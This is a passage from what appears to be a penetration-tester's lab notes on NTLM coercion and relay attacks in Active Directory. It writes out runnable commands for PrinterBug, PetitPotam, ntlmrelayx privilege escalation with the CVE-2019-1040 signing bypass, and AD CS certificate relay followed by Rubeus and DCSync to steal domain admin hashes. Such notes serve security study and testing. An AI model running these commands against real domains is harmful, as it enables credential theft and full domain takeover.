data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privexchange.py -ah ATTACKER_IP EXCHANGE_SERVER -u DOMAIN_USER -d DOMAIN_NAME&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Abuse the PushSubscription feature&lt;/li&gt;&#10;&lt;li&gt;Make the Exchange server authenticate to our relay server&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="2-printerbug-ntlm-authentication"&gt;&lt;a href="#2-printerbug-ntlm-authentication" class="header-anchor"&gt;&lt;/a&gt;(2) Printerbug (NTLM Authentication)&#10;&lt;/h4&gt;&lt;p&gt;This is a protocol design issue, not a vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Lab setup:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Environment requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The Print service is enabled on Windows Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The Spooler service is running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain user access (no special privileges required); any user will work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Checks:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check whether the Print service is running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service Spooler&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the service if it is not enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Service Spooler&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-Service Spooler -StartupType Automatic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is generally enabled by default&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic usage&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python printerbug.py DOMAIN_NAME/USERNAME:PASSWORD@TARGET_IP ATTACKER_IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specific example&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python printerbug.py test.local/TestUser:Password123!@192.168.0.110 192.168.0.103&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;test.local -&amp;gt; Domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TestUser -&amp;gt; Username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password123 -&amp;gt; Password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;192.168.0.111 -&amp;gt; Target IP (DC)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;192.168.0.103 -&amp;gt; Attacker IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="3-petitpotam-ntlm-authentication"&gt;&lt;a href="#3-petitpotam-ntlm-authentication" class="header-anchor"&gt;&lt;/a&gt;(3) PetitPotam (NTLM Authentication)&#10;&lt;/h4&gt;&lt;p&gt;This is affected by CVE-2021-36942.&lt;/p&gt;&#10;&lt;p&gt;The rough range is Windows Server 2008 through 2019.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/topotam/PetitPotam" target="_blank" rel="noopener"&#10; &gt;https://github.com/topotam/PetitPotam&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Environment requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Windows Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The MS-EFSRPC service is available&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain user access (no special privileges required)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Checks:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check whether the RPC and EFS services are running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service RpcSs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service EFS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attacker host requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Impacket toolkit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- ntlmrelayx.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Network access to the target&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Target host:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- LDAP is enabled (enabled by default on a DC)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Certificate Services (when relaying to AD CS)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Commands:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the relay&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://DC-IP --escalate-user USERNAME --no-smb-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Trigger authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -d domain -u user -p pass ATTACKER_IP DC-IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="4-relay-ldap-ntlm-relay"&gt;&lt;a href="#4-relay-ldap-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;(4) Relay LDAP (NTLM Relay)&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://www.freebuf.com/articles/network/368583.html" target="_blank" rel="noopener"&#10; &gt;https://www.freebuf.com/articles/network/368583.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Relay LDAP (NTLM relay) mainly uses CVE-2019-1040 to bypass LDAP signing.&lt;/p&gt;&#10;&lt;p&gt;The second and third methods trigger authentication; this one uses a vulnerability to create the relay.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Bypasses LDAP signing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Allows relaying to LDAP/LDAPS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Works even when signing protection is enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Affected versions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windwos 7 SP 1 through Windows 10 1903;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 through Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the relay&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use the full options for the vulnerability&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic --no-smb-server --no-http-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--remove-mic: Exploit CVE-2019-1040 to bypass signing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--escalate-user: Specify the user to escalate&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-t ldap://DC-IP: Specify the target DC&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="5-relay-ad-cspki-ntlm-relay"&gt;&lt;a href="#5-relay-ad-cspki-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;(5) Relay AD CS/PKI (NTLM Relay)&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/" target="_blank" rel="noopener"&#10; &gt;https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The target needs to have Active Directory Certificate Services configured.&lt;/p&gt;&#10;&lt;p&gt;URLs:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;a class="link" href="http://CA-SERVER/certsrv" target="_blank" rel="noopener"&#10; &gt;http://CA-SERVER/certsrv&lt;/a&gt;&#10;or&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://CA-SERVER/certsrv" target="_blank" rel="noopener"&#10; &gt;https://CA-SERVER/certsrv&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get the lab working, so I&amp;rsquo;ll just record the method here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic syntax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Additional options&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-t http://CA-SERVER: Certificate server web address&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--adcs: Specify an AD CS attack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--template: Specify the certificate template (optional)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/topotam/PetitPotam&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PetitPotam.exe 172.16.79.1 172.16.79.2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Ntlmrelay running on Darwin will generate a CSR (Certificate Signing Request) and try to abuse a vulnerable PKI template to create a certificate:&lt;/p&gt;&#10;&lt;p&gt;If it succeeds, ntlmrelayx will receive:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;[+] Base64 certificate of user 2012DC$: MI&amp;hellip; (a long string of Base64-encoded certificate data)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Next, we use what we obtained.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This gets us a TGT, after which we can use DCSync to obtain the DA NTLM Hash.&lt;/p&gt;&#10;&lt;h5 id="automation-tools"&gt;&lt;a href="#automation-tools" class="header-anchor"&gt;&lt;/a&gt;Automation Tools&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/Ridter/RelayX" target="_blank" rel="noopener"&#10; &gt;RelayX&lt;/a&gt; bundles several useful relay techniques together, making testing more efficient:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python relayx.py live.local/002:&amp;#39;LIVE@2021&amp;#39;@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;ADCSPwn essentially automates the attacks covered above.&#10;&lt;a class="link" href="https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn" target="_blank" rel="noopener"&#10; &gt;https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/bats3c/ADCSPwn" target="_blank" rel="noopener"&#10; &gt;ADCSPwn&lt;/a&gt; is written in C#. Once compiled, it can conveniently be loaded into memory and run through execute-assembly. It uses PetitPotam to relay NTLM to AD CS and request a machine-account certificate. ADCSPwn also requires the WebClient service to be enabled on the remote machine that is triggered to authenticate. It is not installed by default and must be enabled manually; see &lt;a class="link" href="https://camerondwyer.com/2014/11/12/how-to-installenable-the-webclient-webdav-service-on-windows-server-2012-to-openedit-sharepoint-files/" target="_blank" rel="noopener"&#10; &gt;How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;When requesting a CA certificate, ADCSPwn cycles through every certificate template and attempts a request. Ordinary domain member machines use the Machine certificate template, while DCs use DomainController. To determine whether a template is usable, ADCSPwn looks for “Certificate Request Denied” in the response. In a Simplified Chinese environment, the response uses the localized certificate-request-denied message instead. To support multilingual environments, change &amp;ldquo;Certificate Request Denied&amp;rdquo; in line 382 of ADCSPwn/RelayServer.cs, in if (responseFromServer.Contains(&amp;ldquo;Certificate Request Denied&amp;rdquo;)), to &amp;ldquo;locDenied&amp;rdquo;, which is the HTML element ID on the certificate-request-denied response page. This issue was fixed in &lt;a class="link" href="https://github.com/bats3c/ADCSPwn/pull/5" target="_blank" rel="noopener"&#10; &gt;https://github.com/bats3c/ADCSPwn/pull/5&lt;/a&gt; (pull request).&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After obtaining the &lt;code&gt;2012dc$&lt;/code&gt; machine-account certificate, continue the attack with Rubeus.&lt;/p&gt;&#10;&lt;h5 id="internal-port-445"&gt;&lt;a href="#internal-port-445" class="header-anchor"&gt;&lt;/a&gt;Internal Port 445&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/praetorian-inc/PortBender" target="_blank" rel="noopener"&#10; &gt;PortBender&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0" target="_blank" rel="noopener"&#10; 